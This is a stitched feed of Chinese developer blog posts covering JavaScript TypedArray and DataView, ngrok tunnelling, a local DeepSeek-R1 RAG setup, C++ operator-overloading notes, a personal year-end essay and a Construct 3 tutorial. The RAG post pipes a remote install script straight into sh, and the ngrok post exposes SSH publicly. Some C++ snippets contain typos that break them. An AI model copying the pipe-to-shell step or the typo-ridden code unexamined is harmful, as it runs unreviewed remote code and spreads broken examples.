  • TypedArrayTypedArray 是一个数组类型的对象,用于表示数组的固定长度的二进制数据缓冲区。它包含一系列相同类型的元素,比如 Int8ArrayUint16ArrayFloat32Array 等。每种类型的 TypedArray 都提供了对特定字节长度的数据的访问。

  • DataViewDataView 提供了一种更灵活的方式来读取和写入 ArrayBuffer 中的任意类型的数据。与 TypedArray 不同,DataView 允许您在同一个缓冲区中使用多种数据类型,而不需要创建不同的 TypedArray 实例。

2. 使用场景

  • TypedArray:适用于需要快速处理大量相同类型的数字数据的场景。例如,图像处理、音频处理或任何需要高效存储和访问数值数据的应用。

  • DataView:适用于需要在同一个缓冲区中混合多种数据类型的场景。例如,处理二进制文件格式(如图像、音频和自定义二进制协议)时,您可能需要在同一个缓冲区中读取多个数据类型(整数、浮点数、字符等)。

3. 数据访问

  • TypedArray:访问数据时,您可以直接使用索引。例如,typedArray[0] 将返回第一个元素。访问时的类型是固定的,如 Int16Array 只能存储整数。

  • DataView:提供了一系列方法来读取和写入不同类型的数据。例如,您可以使用 dataView.getInt8(offset) 来读取 8 位整数,或使用 dataView.setFloat32(offset, value) 来写入 32 位浮点数。DataView 的方法允许您指定数据的偏移量。

4. 灵活性与性能

  • TypedArray:由于它们是专门针对特定数据类型设计的,TypedArray 在性能上通常优于 DataView,尤其是在处理大量的数值数据时。因为它们在内部使用了固定的内存布局。

  • DataView:尽管 DataView 提供了更大的灵活性,但其性能可能低于 TypedArray,因为 DataView 需要根据数据类型和偏移量进行额外的计算。适合于更复杂的用例,但在性能敏感的场景下,可能需要谨慎使用。

5. 数据视图的概念

  • TypedArray:可以被视为对 ArrayBuffer 的一种特定类型的视图。每种 TypedArray 都有自己的数据结构,直接映射到 ArrayBuffer 中的内容。

  • DataView:则是对 ArrayBuffer 的一种通用视图,能够以灵活的方式访问和操作其中的任意类型的数据。DataView 允许以不同的字节顺序(大端序或小端序)读取和写入数据,提供了更高的控制能力。

6. 例子

下面是一个简单的例子,展示了如何使用 TypedArrayDataView

TypedArray 示例

// 创建一个 16 字节的 ArrayBuffer
const buffer = new ArrayBuffer(16);

// 创建一个 Int32Array 视图
const int32View = new Int32Array(buffer);

// 写入数据
int32View[0] = 42;
int32View[1] = 100;

// 读取数据
console.log(int32View[0]); // 42
console.log(int32View[1]); // 100

DataView 示例

// 创建一个 16 字节的 ArrayBuffer
const buffer = new ArrayBuffer(16);

// 创建一个 DataView 视图
const dataView = new DataView(buffer);

// 写入数据
dataView.setInt32(0, 42);
dataView.setInt32(4, 100);

// 读取数据
console.log(dataView.getInt32(0)); // 42
console.log(dataView.getInt32(4)); // 100

7. 总结

  • TypedArray 适合于处理相同类型的数值数据,提供高性能的访问方式。
  • DataView 提供了对同一 ArrayBuffer 中多种数据类型的灵活访问,适用于复杂的数据结构。

在选择使用 TypedArray 还是 DataView 时,应根据具体需求、性能要求和数据类型的复杂性来决定。

by Riesenzahn at January 29, 2025 10:27 PM

juejin freebie

通过Ngrok实现内网穿透助力远程开发

在现代软件开发和网络应用的环境下,开发人员常常需要在本地搭建服务器进行调试、测试或演示。然而,传统的端口映射(如使用 NATSSH 隧道)配置繁琐,且并非所有环境都允许直接暴露本地服务。ngrok 作为一款强大的隧道工具,能够简化这一过程,它允许开发者快速、安全地将本地服务器映射到公网,从而实现外部访问。本文将通过详细的步骤和示例,帮助开发者快速掌握 ngrok,提高本地开发和远程调试的效率,使其能够更便捷地连接本地与互联网。

1. 安装 ngrok

访问 ngrok官网 下载 Windows 版本的压缩包。

请在此添加图片描述

解压缩下载的文件,并将 ngrok.exe 放置在你希望的文件夹内。

2. 注册并配置 ngrok

  1. ngrok官网 注册一个账户。
  2. 登录后,你会在控制面板中看到一个 AuthToken(授权令牌)。
  3. 使用以下命令将授权令牌配置到 ngrok
ngrok authtoken <your_auth_token>

请在此添加图片描述

3. 启动 ngrok

双击 Ngrok.exe 启动,弹出命令行界面如下:

请在此添加图片描述

假设你的本地服务器正在监听端口 8080,你可以使用以下命令启动 ngrok

ngrok http 8080

ngrok 会在控制台中显示一个类似以下的输出:

ngrok by @inconshreveable                                                                                                                                                                                                                                                                                                                                                               (Ctrl+C to quit)

Session Status                online
Session Expires               1 hour, 0 minutes
Version                       3.x.x
Region                        United States (us)
Web Interface                 http://127.0.0.1:4040
Forwarding                    http://<random_subdomain>.ngrok.io -> localhost:8080

请在此添加图片描述

你可以通过 http://random_subdomain.ngrok.io 访问你本地的 8080 端口。

请在此添加图片描述

4. 配置其他端口和协议

ngrok 不仅支持 HTTP,还支持多种协议,如 TCP 等。你可以用不同的命令启动对应的隧道。

  • TCP 隧道
ngrok tcp 22

这将暴露本地的 22 端口(例如用于 SSH)。

  • 自定义子域名(需要 ngrok 的付费计划):
ngrok http -subdomain=your_custom_subdomain 8080

这将使用你选择的 your_custom_subdomain.ngrok.io 来访问。

5. 查看 ngrok 的 Web 面板

ngrok 会启动一个本地的 Web 面板(默认是 http://127.0.0.1:4040),你可以在该面板中查看请求日志、请求详情、重新播放请求等。

请在此添加图片描述

6. 停止 ngrok

可以通过按 Ctrl+C 来停止 ngrok,这会终止当前的隧道连接。

7. 访问 ngrok 开放端口下的接口

在前端直接访问通过 Ngrok 发布到公网的接口时,会被中间页拦截。

需要在请求头里增加 "ngrok-skip-browser-warning":"69420",来跳过拦截页面。

例如:

fetch(url, {
  method: "get",
  headers: new Headers({
    "ngrok-skip-browser-warning": "69420",
  }),
})
  .then((response) => response.json())
  .then((data) => console.log(data))
  .catch((err) => console.log(err));

8. Ngrok 内网穿透总结

ngrok 作为一款轻量级的网络隧道工具,为开发者提供了一种高效、便捷的方式,将本地服务安全地暴露到公网。无论是在 Web 开发、API 调试、Webhook 集成还是远程访问场景下,ngrok 都展现出了极大的灵活性和实用性。通过简单的命令,开发者即可创建安全的公网访问链接,并配合 ngrok 提供的 Web 控制台进行流量监控和请求管理。

尽管 ngrok 提供了强大的功能,但在使用过程中仍需注意安全性,避免将敏感数据暴露到外部网络。同时,对于有更复杂需求的用户,ngrok 付费版本支持自定义子域名、IP 白名单等高级功能,可满足企业级应用的需求。

总体而言,ngrok 是开发人员值得掌握的一款实用工具。它不仅提高了本地开发环境的可访问性,也简化了调试流程,使开发者能够更专注于应用的功能开发。未来,随着远程开发需求的增加,ngrok 及类似工具将在更多场景中发挥重要作用,为开发者带来更高效的工作方式。

by Damon小智 at January 29, 2025 03:03 PM

从零开始:使用DeepSeek-R1 实现高效的本地 RAG

有小伙伴私信我,DeepSeek-R1能用来搭建 RAG(检索增强生成)系统吗?答案是绝对可以!

春节前夕,我们接到了业务方的紧急任务,需要探讨如何将 DeepSeek-R1 快速集成到即将上线的项目中。经过多次深入讨论,我们团队决定在现有 RAG 系统的一个核心模块中使用 DeepSeek-R1,与原有的 Qwen 模型进行线上AB测试。更换完成后,我们对系统进行了一系列严格的测试,以确保其稳定运行。在经过彻底验证后,我们成功地在除夕之夜将系统上线。

鉴于所处理数据的敏感性,本文将详尽介绍如何使用DeepSeek-R1、LangChain、Ollama和Streamlit搭建一个本地的、专门处理PDF文件的RAG系统。这套系统利用LangChain的模块化特点和DeepSeek-R1的隐私保护能力,非常适合处理技术文档、法律文件及学术资料等。在后续的分享中,我将详细介绍如何利用 DeepSeek-R1 对系统进行Fine-tuning和优化的过程。

image.png

此项目整合了 LangChain(一种用于 RAG 工作流程的 AI 框架)、Ollama(负责 DeepSeek-R1 的本地部署)和 Streamlit(提供用户界面)。最终成品是一个 AI 助手,它能在本地处理 PDF 文件,并以高精确度和速度回答问题。

在此次演示中,我们将使用一个参数为 7B 的 DeepSeek-R1 精简模型。但如果你的计算资源更充足,我建议尝试使用其他版本的 DeepSeek-R1 精简模型。

为什么选择本地部署的 RAG 解决方案?

虽然云端 AI 解决方案功能强大,但它们往往涉及到隐私和成本问题。使用 LangChain 的模块化框架,你可以在本地搭建一个 RAG 系统,这样做有几大优点:

  • 数据隐私:所有的操作都在你自己的设备上完成,数据安全得到保障。
  • 成本效率:避免了昂贵的 API 订阅费用,这个方案不仅免费还是开源的。
  • 高度定制化:你可以根据需要调整文档检索和回答生成的具体流程。
  • 强大的 AI 能力:整合了 DeepSeek-R1,这是一款专为解决复杂问题和技术任务而设计的模型。

所用工具和技术:LangChain, DeepSeek-R1, Ollama, ChromaDB 和 Streamlit

这个项目涵盖了以下几个部分:

  • LangChain:这是构建 RAG 工作流程的核心框架,支持集成文档加载、向量存储和大型语言模型(LLM)。它的模块化设计让你可以根据具体需求进行调整。
  • DeepSeek-R1:一种专为编程、问题解决和技术任务优化的推理型语言模型。它提供了多种本地部署的版本,可通过 Ollama 轻松部署。
  • Ollama:一个命令行工具,用于简化本地大型语言模型和嵌入模型(如 DeepSeek-R1 和 mxbai-embed-large)的部署与管理。
  • ChromaDB:一个向量数据库,能存储和检索文档向量,方便进行基于相似性的快速查询。
  • Streamlit:一个 Python 库,用于创建易于操作的 Web 用户界面,使你的 RAG 应用更加用户友好,易于使用。

1_GsNCxIwScPcCcdYi1daswg.gif

构建 RAG 工作流:分步指南

以下是如何设置你的本地 ChatPDF 解决方案:

1. 安装先决条件

确保你已经安装了 Python 3.8+ 和Ollama。运行以下命令:

curl -fsSL https://ollama.com/install.sh | sh
ollama -v  # 验证安装

下载所需的 AI 模型:

ollama pull deepseek-r1:latest # 默认 7B 模型
ollama pull mxbai-embed-large  # 嵌入模型

image.png

2. 项目设置

克隆仓库并设置虚拟环境:

git clone https://github.com/paquino11/chatpdf-rag-deepseek-r1.git
cd chatpdf-rag-deepseek-r1
python3 -m venv venv
source venv/bin/activate

安装依赖:

pip install -r requirements.txt

3. 启动Streamlit

启动 Streamlit 应用:

streamlit run app.py

在浏览器中访问http://localhost:8501。上传你的 PDF 文件,调整检索设置,开始提问。

image.png

使用 DeepSeek-R1、Ollama、LangChain 和 ChromaDB 构建 RAG 管道

这个项目我将利用 LangChain 来从零开始搭建的文档处理流程:

  1. PDF 文件的处理:

    • 利用 LangChain 读取 PDF 文件,并将其分割成小块。
    • 使用 Ollama 将这些小块转换成向量形式,便于计算机理解和处理。
  2. 文档的查找:

    • 通过 ChromaDB 这个工具,快速找到与你问题最相关的文档部分。
    • 你可以设置想要查找的结果数量和查找的严格程度。
  3. 生成回答:

    • DeepSeek-R1 会拿到这些相关的文档小块,然后生成准确的回答。
    • LangChain 确保这些回答格式对用户友好,易于理解。

调整设置以获得更好的结果

LangChain 允许你轻松调整设置,以优化搜索结果:

  • 检索结果数量(k :这个参数决定了将使用多少文档片段来生成答案。如果设置的数目较多,可以获得更全面的答案,但响应时间会变慢;如果设置的数目较少,响应速度会加快,但可能因信息不足而影响答案的全面性。
  • 相似度阈值(score_threshold :这个参数用于设定检索时的匹配严格度。阈值设定得高,只有最相关的文档片段才会被检索出来;阈值设定得低,虽然能检索到更多的信息,但可能会包括一些相关性不高的内容。

image.png

如何使用和测试你的 RAG 应用

这里介绍几种常见的场景,帮助你测试你的应用程序:

测试用的 PDF 文件:

  • 金融:分析财务报告,挖掘出可实施的商业见解。
  • 医疗保健:总结医学研究论文或指南,提取关键信息。
  • 教育:从电子书和学术论文中提取摘要或主要观点。

示例问题:

  • “这个 Python 库的核心功能有哪些?”
  • “这份合同的第五部分主要讨论了什么内容?”
  • “简要概述这本电子书的第二章。”

结论

结合 LangChain、DeepSeek-R1 和 ChromaDB 的使用,你可以构建一个重视隐私保护、灵活性和成本效率的 RAG 系统。这种本地化的解决方案非常适用于分析技术性文件和法律文件,无需依赖于云服务。如此一来,你便可以在完全控制数据安全的环境下,有效地处理和分析专业文档。

by MobotStone at January 29, 2025 10:51 AM

juejin article

CS106L 11

CS106L 11

recap

  • Template是一个工厂,可以定制模板,对传入的参数进行加工,生成相应的功能产品

  • Const Correctness保证函数不能被改变

    size_t siez() const;
    

We Learned!

  • I/O library
  • Containers library
  • Iterators library
  • Algorithms library
  • Concepts library

We made it really far!


Operator

We Knnnnow!

  • Create classes
  • Create template

但是怎么Create map、sets

其内部实现为红黑树,通过操作符<来进行内部实现,

那么通过min实现如何?

About min

关于之前课程中实现的min操作,T必须存在排序关系,只有这样才能对其有意义,

而且T必须是可对比的,能够被逻辑化实现。

[!NOTE]

如果对整数实现 min 可以,但是如何对结构体或者其他类型实现 min操作?

Operator!

Operators can overloaded

  • + - * / % ^ & | ~ ! , = < > <= >= ++ -- << >> == != && || += -= *= /= %= ^= &= |= <<= >>= [] () -> ->* new new[] delete delete[]

Operators can't overloaded

  • 范围解析 ::
  • 三元 ?
  • 成员访问.
  • 指向成员的指针.*
  • 对象大小、类型和转化sizeof()、typeid()、cast()

对其他类型实现操作符对比运算

// .h file
class Student {
private:
    std::string name;
    std::string sunet;
    int idNumber;
public:
    Student(std::string name, std::string sunet, int idNubmer);
    ... // orther Interface
    ...
    ...
    bool operator < (const StudentID& rhs) const;
}

// .cpp file
std::string Student::getName() {
    return this->name;
}
...
bool Student::operator < (cosnt StudentID& other) const {
    return idNumber < other.idNumber;
}

这种方式为成员重载Member overloading,在Class中定义了重载函数,

还有非成员重载Non-member overloading

  • 包含左、右边
  • Class外声名定义
// Non-Member
bool operator < (const Student& lhs, const Student& rhs);
// Member
bool Student::operator < (const Student& rhs) const {...}

[!note]

Member中可以访问类成员变量和 this-> 指针

Non-member中不可以,因为存在两个参数引用,不确定哪一个访问,所以不可以

friend keyword

  • firend 键允许通过非成员函数或者类来访问在其他类中的私有信息
// .h file
class Student {
private:
    std::string name;
    std::string sunet;
    int idNumber;
public:
    Student(std::string name, std::string sunet, int idNubmer);
    ... // orther Interface
    ...
    ...
    friend bool operator < (const StudentID&lhs, const StudentID& rhs);
}

// .cpp file
bool operator < (const Student& lhs, const Student& rhs) {
    return lhs.idNumber < rhs.idNumber;
}

这样做有什么用?编译器可以 min(classa, classb)!

Student Liu;
Student SSS;

auto minStudent = min<Student>(Liu, SSsss);

Studnet min(const Student& a, const Student& b) {
    returnn a < b ? a : b;
}

通常做什么

  • 自定义类型 自定义操作比较
  • PoLA 原则
  • 对立法则简化函数实现
bool  S::operator==(const S& other) const {
    return (name == other.name) && (sunet == other.sunet) && (id == other.id)
}
// We can...
bool  S::operator!=(const S& other) const {
    return !(*this == other);
}
  • <<
std::ostream& operator << (std::ostream& out, const Student& sid) {
out << sid.name << " " << sid.sunet << " " sid.idNumber;
    return out;
}
  • 升级定义对象的功能
  • 有意义,无法直接通过函数对其类型进行实现
  • 只有需要时才重载运算符,如何类型不使用某一种操作,就不应该定义重载操作符

End...

by moyuhualuo at January 29, 2025 08:38 AM

juejin career

2024年终总结,与自己谈心,再听从它的声音

我已经又在电脑前面坐一个半小时,写下的文字一个都没有,看进去的书一句也不到,我并不是静不下心,我只是很想听阿妮和她闺蜜的聊天。我喜欢听她们这样很是放松的聊天,就像小时候,听母亲和邻里阿姨聊天一样。

我知道自己不能再分心下去,于是将对当前心境的记载作为本篇的起点。本篇,我会理一理过去的一年。

2024年,在英(“英”是英姿飒爽的英)姐和另一位写公众号程序员的引领下,我也开始作季度总结,季度,我都有写上一篇简单总结,它们内容大体是一致的,都关于读书、背单词、俯卧撑、写日记这样简单且连续的小事,以及自己的当时状态。

读书、写作、背单词不再提,它们或许真能成为我持续一生的事情。(对的,我已经不再使用“坚持”二字,当某些事情成了习惯,是真不需要额外气力去维持的。)

我想再提一提的,是“当时状态”的延续。

我心境的最低沉点,大概在某个晚上的寸滩大桥,那种能量瞬间被抽光不想继续生存下去的体验,我不想再来一次。低一点,低一点,再到谷底,是一个持续过程,过程当中,是来自于情境也来自于自己不甘于现状又不敢改变的压抑。

帮助我走出来的,是来自于《津巴多普通心理学》来自于《真实的幸福》当中的“感恩日记”,以及来自于《认知驱动》当中的“成功日记”,每天写一写让自己感受到感恩、快乐与满足的事情,是真能帮助自己重拾信心的,对社会的信心以及对自己的信心。

我认为其中用处最大的,是感恩,10月的一次现场面试,等待面试官出现的那段时间,我脑子中一直往外冒的场景,是小咚叫我的声音。那是一个转角,送完东西的我正掉头,正在不远处的小咚知道我的出现,从她玩耍处跑近,嘴里一直喊“龙叔叔,龙叔叔”,哈,那脆脆声音配快步奔跑,可真是能量感十足呀!

能给我带来笑意能帮助我感受到能量能给予我内心充盈的场景,还有很多很多,初中时胡老师背我去看医生,欢仔请我喝柠檬水,和大白鹅喝茶聊天,阿桃硬塞给我羊腿,阿浩现学杀鱼邀请我和阿妮吃晚饭,医院志愿者主动提醒我还有一个单子没打完……

对的,在第四季度换过工作之后,我的能量,不再单单来源于感恩,还像以前一样,来自于我的代码也来自于我正经历的当下。

(说起“当下”,上周末和正上初一的堂弟一起爬山,我在路上问他对未来的憧憬是怎样的,他说从没想过这个问题;我叫弟弟想一想,他给予我的回答是“过好当下”;我再问弟弟“当下”是什么,他说“当下”是大家都在说的一个词。当下是什么呢?对我来说,只是上周、昨天、今天、明天和下周,更进一步,是眼前这一秒的专注。)

大概是暑假,阿妮一位闺蜜来到重庆,我们一起吃烧烤,席间有点一瓶啤酒,当时正阅读《吃出自愈力》的我只喝了一杯,坚持只喝一杯。我印象中的当时心态,是有对自己带些强迫——我想多喝一点,但强迫自己不多喝——的,是感觉自己有些做作的。写年终总结再阅读《24年第二季度》时,这心态有了转变,变成一种鼓励与认可:试着践行书中得来知识,是挺好的,而能控制自己真的不多喝,是很好的。

对的,到2024年年底,我感觉自己面对世界的心态,仿佛回到回重庆以前,我以为用“简单”二字,是很能形容它的:不隐藏自己,不给自己戴面具,所做即所想;简单些,不很用力不刻意。不刻意,我认为是24年下半年新取得的进步。

《津巴多普通心理学》当中有这样的一句话,是我近段时间常想起来的,津巴多教授说:“大多数成年人在中年时都会经历一次转变(transition),他们将重新定义或转换自己的人生角色……成功的转变通常会包含一段高度自我反省的时期,包括重新评估自己当前的角色,探索能够带来全新意义感的可能性,以及决定放弃旧的角色并致力于新的角色。”

我想自己,已经在24年完成这第一次转变。其中最核心的,是我真的重新认识了自己,我知道自己在怎样情境下会过得舒适,和怎样人交往会快乐,做怎样事情会让自己收获满足与成就感。跟随自己内心的声音做出改变很难,但当我真正做出改变之后,我感受到的是坦然。

2024年,大概很有些时间,我有生出这样的一种自信:我感觉自己已经懂得世间很多道理,比如早睡早起身体好,比如劝人是不能成功的,比如要学以致用,比如适合自己的才是最好的……但随着这自信多想想,是另外的两种疑惑。

我懂的这许多道理,都来自于前人的修炼与总结,它们现在变作我的修炼,在我修炼过程中会将它们输出为臃肿文字,这些文字于我有用处,于大家是否有相同效用呢?我的写作,是为何呢?(当然,我的初衷是想要获取睡后收入,但现在的我已经认识到自己靠写作来养活自己在近几年是希望渺茫的,于是当下的写作并不为挣钱。不对,要诚实且全面些,看见公众号有一分两分的收入,看到有新到来的关注,我依然会感到快乐与满足,所以挣钱是可以算持续写作缘由之一的。)

我认为自己在24年是幸运的,我遇见《身后无遗物》的作者伊藤比吕美女士,比吕美的文字,也大多关于她的生活,关于她当下的心境或是状态,我从比吕美文字中,感受到真诚同时也收获到一种勇气,一种继续写作的勇气,一种敢于尝试改变的勇气,以及知道未来可能不会一直很好却敢于继续前行的勇气。

修炼画一个圈,又回到侯捷老师的总结:我希望自己也能扮演让别人信赖、给别人带来帮助的角色。这种帮助,可以只像比吕美女士一样,真诚展现自己所思所想就好。

另一个疑惑,来自于这些道理的重复,有些道理——比如换一种情境换一个工作可能是走出心理困境的一种绝佳方式——翻来覆去的讲,当这道理再一次被需要,当我再一次摘抄或是引用某一句我很是喜欢且认为它完全正确的句子时,我会感受到来自于思维深处的抵触,我所引用的,真的正确么?我会不会陷入了某种认知陷阱,进入了某种自我催眠?

我在“11点睡觉”这件事情上得到一些答案。第三季度,我想通过改变自己11点准时睡觉的作息来刺激自己很是僵化的思维方式,这并不生效,而睡觉作息改变带来的,只是第二天身体、精神状态的不佳。由此,我理解到的一点是,某些经过许多验证的道理或是行为准则,大概率是确确实实能对我们生活给予帮助的。我可以不用多想,将它们变成生活的一部分就好。11点睡觉的我,在第二天早上醒来时,再一次感受到精力的充沛。

这许多道理当中,有另外的一项,我很想在此处记录一下,它来自于一位新认识好友的图书推荐——《我曾走在崩溃的边缘》,它是俞敏洪老师的自述作品,我从书中感受到真诚,由这真诚找到俞老师的抖音,在俞老师抖音中,我发现这一条自己已经践行过的道理:我们刷新自己能量的方式,有两种,一是大汗淋漓的运动,二是亲近自然。

我们在24年的亲近自然方式,是徒步——在山里走很长很长的路。我们的小徒步队伍一次次慢慢扩大,基于这小小样本,我观察到的现象是:小到四岁五岁和初中生小孩,再大到三十四十(哈哈,对的,我们还没有约过叔叔辈)的中年人,甚至狗子,是都很享受在山里走路的。

大汗淋漓的运动,对我来说是篮球

图片

我第二次尝试的糖醋排骨

24、25交接之际,我有感受到自己厨艺的提升。这已经在第四季度总结中有过整理,这自信体现在我也能开始靠自己的经验制作“新菜”,且这新菜的味道还算不错。当然,我做菜的速度依然很慢,三菜一汤是至少需要两小时的。

我在23年的年终总结中,说想要拥有属于自己的产品,但不管是写技术博客还是录读书视频,在24年都不很好执行。

24年,我会将它称之为我的AI元年,我开始大量使用AI帮我敲代码了。

公众号在两周之前,有推送给我一份年终总结,其中大体内容是这样的:聪聪的分享获得了3.5万次阅读,占去总阅读量的一半;我发表119篇内容,原创文字有18.9万;一整年新增580位关注。

对的,在24年,我没有用力吆喝大家关注我的号,或许“我要改名叫嘟嘟”,真已经慢慢变成一个小小的自有品牌。

2024,我心怀感恩,感恩身边人的同时,也感恩您的关注与阅读。

现在时间是25年大年初一早上的8点50分,我坐在柴火灶旁,手上抱着电脑,窗外是蓝天与初升阳光,阿江正用吹火筒吹着灶里的火。

火燃了。

祝您新年快乐,红红火火。

by 我要改名叫嘟嘟 at January 29, 2025 06:52 AM

juejin freebie

C3官方教程入门指南【使用 Construct 3 制作你的第一个游戏】《幽灵射手(Ghost Shooter)》中文翻译版

Construct 3 官方入门指南【使用 Construct 3 制作你的第一个游戏】《幽灵射手(Ghost Shooter)》。

将学习制作简单游戏所需的一切 - 从图层到事件系统!

本教程由 Construct 团队推荐!这意味着它包含有用的高质量信息,可帮助您成长为游戏开发人员。

这个教程由 Construct 3游戏开发引擎 创始人 阿什利(Ashley)编写,原文为英文版本,在 C3 编辑器》起始页》入门指南 或 直接点击网址访问原教程英文版  。

原教程使用 CC BY 4.0许可 对外发布。

Construct 3 初学者入门指南

本教程由 Construct 团队推荐!这意味着它包含有用的高质量信息,可帮助您成长为游戏开发人员。

感谢您选择 Construct 3!让我们开始制作你的第一款游戏。我们将制作 《幽灵射手(Ghost Shooter)》 演示游戏。您将学习制作简单游戏所需的一切知识 - 从图层到事件系统!

可替代的平台游戏教程

本指南将制作一款俯视视角的射击游戏(top-down shooter style game)。你想从平台游戏(platform game)开始吗?可以尝试另一个初学者教程 如何制作平台游戏  。

查看完成的游戏

提前了解我们的目标是有益处的,我们可以先试玩一下将要制作的游戏,点击这里打开C3编辑器,在 起始页的右下方点击 打开案例库 按钮。

添加图片注释,不超过 140 字(可选)

在案例库页面左上角的搜索框输入 基础示例:幽灵射手,并清除搜索框下方的筛选条件,找到 基础示例:幽灵射手 ,点击任意位置即可加载并打开案例文件,或者点击三角形 试玩按钮 直接试玩。

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

加载完成后,单击“预览”按钮(在下面以红色圈出)运行并试用它。(如果显示“是否创建新的窗口”一类的警告,选择允许。)

添加图片注释,不超过 140 字(可选)

然后你可以看到我们要制作的游戏:移动鼠标控制游戏主角的朝向,使用方向键控制主角移动,并用鼠标按键射击怪物。

现在,关闭游戏预览并在浏览器中按重新加载按钮,使 Construct 3 重新启动。这样我们就可以从头开始制作这个游戏。

添加图片注释,不超过 140 字(可选)

寻求帮助

如果您遇到困难或有疑问,最好的去处是 我们的论坛(英文) www.construct.net/community 。我们禁用了本教程的评论,因为它们很容易被遗漏 - 你更有可能在论坛上得到回应。

(非官方中文社区【Construct2/3篝火堆】QQ群:180911504。)

一、开始吧

如果您还没有获得 Construct 3 的最新版本,只需访问 editor.construct.net。没错,Construct 3 就在您的浏览器中运行!无需安装或设置任何内容。如果出现错误,请查看 系统要求页面 www.construct.net/make-games/… ,您可能需要更新浏览器或系统(为了兼容性,请使用谷歌 Chrome 或者 Edge 浏览器。C3使用普通网络即可访问,如果网络出错,可能是宽带运营商的问题,可以试试使用手机热点)。

创建新项目(CREATE A NEW PROJECT)

单击“新建项目”(New project)按钮。将出现一个对话框,询问一些详细信息。你不必改变任何东西,但如果你愿意,你可以为你的项目输入一个名称(我的超级棒游戏怎么样?),单击“创建”,您应该会看到一个新的空项目,如下所示。(如果网络不畅,有可能会创建失败,请首先检查网络是否能连接到 editor.construct.net 。C3使用普通网络即可访问,如果网络出错,可能是宽带运营商的问题,可以试试使用手机热点)

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

Construct 3 中的新空项目

关于屏幕截图的注意事项:我们在 Construct 3 中使用默认主题来制作图像。如果您更改了主题,或者 Construct 3 看起来有点不同,请不要担心 - 这些不同点一般不会影响你的操作。

屏幕中间的主视图是布局视图(layout view)。这是用于创建和定位对象(object)的设计视图。将布局(layout )想象成游戏关卡或菜单屏幕。在其他软件中,这可能被称为房间、场景或框架( room, scene or frame)。

添加对象(ADDING OBJECTS)

让我们添加游戏所需的对象。首先是背景(background)。

平铺背景

制作背景的一种简单方法是在布局上重复图像。平铺背景(Tiled background )对象可以为我们做到这一点。首先,这是您的背景图像 - 右键单击它并将其保存到计算机的某个位置:

添加图片注释,不超过 140 字(可选)

现在,双击布局中的空白区域来创建一个新对象。(如果将来我们把布局填满了,没有空白,您也可以右键单击并选择“插入新对象”(Insert new object)。出现“创建新对象”(Create new object )对话框后,双击“平铺背景”(Tiled Background)对象。

添加图片注释,不超过 140 字(可选)

鼠标将变成十字准线(crosshair),来指示放置对象的位置。单击布局中间的位置。这时图像编辑器( image editor)会打开,供您绘制图像或将图像导入瓦片/图块( tile )。让我们导入您之前保存的背景图像。单击文件夹图标以从计算机加载图像,找到文件下载的位置,然后选择它。

添加图片注释,不超过 140 字(可选)

单击右上角的 X 关闭图像编辑器窗口。(是的,不用点击存盘按钮。)现在,您应该在布局中看到平铺的背景对象。让我们调整它的大小以覆盖整个布局。点击它,确保它已选中,然后左侧的属性栏(Properties Bar)应显示对象的所有设置,包括其大小和位置。将其位置设置为 0,0(布局的左上角),并将其大小设置为 1708 x 960(布局的大小 - 这是默认大小,基于可视区域( viewport )大小的两倍)。

添加图片注释,不超过 140 字(可选)

让我们来审视一下我们的工作。按住 Control键 并向下滚动鼠标滚轮以缩小视图。或者,右键单击并选择“视图”►“缩小”几次。您也可以按住 空格键 或 鼠标中键 并移动鼠标进行视图平移。很整齐,是吧?您的平铺背景现在应该覆盖整个布局:

添加图片注释,不超过 140 字(可选)

布局的缩小视图

点击 Ctrl + 0 或右键单击并选择“视图”►“重置缩放”以返回 1:1 视图。

(如果您像我一样的急切,请单击主工具栏(main toolbar)中的“预览”(Preview)按钮 - 预览窗口应该会弹出,显示您的平铺布局!哇哦!)

添加图片注释,不超过 140 字(可选)

(保存一下我们的工作)

(需要休息一下吗?单击主工具栏(main toolbar)中的“保存项目”按钮 ,保存一下我们的工作成果吧。)

添加图片注释,不超过 140 字(可选)

二、添加更多的对象

(打开我们保存的工作)

(如果你之前保存了我们的项目,并且重启或者刷新了 Construct 3 编辑器 页面,可以在 起始页》最近编辑列表 找到保存的项目,或者使用起始页右上角的 打开文件 按钮来打开项目。)

添加图片注释,不超过 140 字(可选)

锁定平铺背景

在我们继续之前,应该锁定平铺背景。当我们在背景之上创建和移动对象时,很容易意外地选择或修改背景。由于我们不再需要更改背景,可以锁定它会使其无法被选择,就不会影响到它了。要锁定它,请右键单击平铺背景,然后选择 锁定►锁定选择(Lock►Lock selection)。(如果您以后确实想更改它,只需右键单击并选择 锁定►全部解锁(Lock►Unlock all)。

添加图片注释,不超过 140 字(可选)

添加输入对象

双击空白区域(可以是任何位置,因为平铺背景已锁定)以添加另一个新对象。这一次,双击选择 Mouse(鼠标) 对象,因为我们需要鼠标输入。然后,使用相同的操作来添加 Keyboard(键盘) 对象。

请注意,这些对象不需要放置在布局中。它们是隐藏的,并自动在整个项目中工作。现在我们项目中的所有布局都可以接受鼠标和键盘输入。

添加图片注释,不超过 140 字(可选)

游戏对象

是时候添加我们的游戏对象了!这是您的图像 - 将它们全部保存到您的计算机中,在图片上点击鼠标右键--就像您之前保存背景图像一样。

玩家形象:

添加图片注释,不超过 140 字(可选)

怪物形象:

添加图片注释,不超过 140 字(可选)

子弹图像:

添加图片注释,不超过 140 字(可选)

爆炸图像:

添加图片注释,不超过 140 字(可选)

对于每个对象,我们都将添加一个 Sprite (精灵)对象。Sprite (精灵)显示一个图像,可以移动、旋转、调整大小和制作动画。游戏通常主要由精灵对象组成。让我们将上述四个对象中的每一个添加为 Sprite (精灵) 对象。该过程类似于插入平铺背景:

  1. 双击空白区域以插入新对象

  2. 双击选择新建 Sprite 对象。

添加图片注释,不超过 140 字(可选)

  1. 当鼠标转到十字准线时,单击布局中的某个位置以放置它。

  2. 弹出图像编辑器。单击“导入图像”按钮,然后导入四个图像之一。

  3. 关闭图像编辑器。您现在应该在布局中看到新建的 Sprite 对象!

添加图片注释,不超过 140 字(可选)

创建 Sprite (精灵)对象的另一种快速方法是将图像文件直接从文件夹拖放到布局视图中。Construct 将为您创建一个带有该图像的 Sprite。不过,请确保一次拖动一张图像 - 如果您一次拖动所有四个图像文件,Construct 将制作一个包含四个动画帧的精灵。 这样操作的一个额外好处是:新建的精灵会直接用图像的文件名命名。

将子弹和爆炸精灵移动到布局边缘以外的某个地方 - 因为我们不希望在游戏开始时看到它们。

添加图片注释,不超过 140 字(可选)

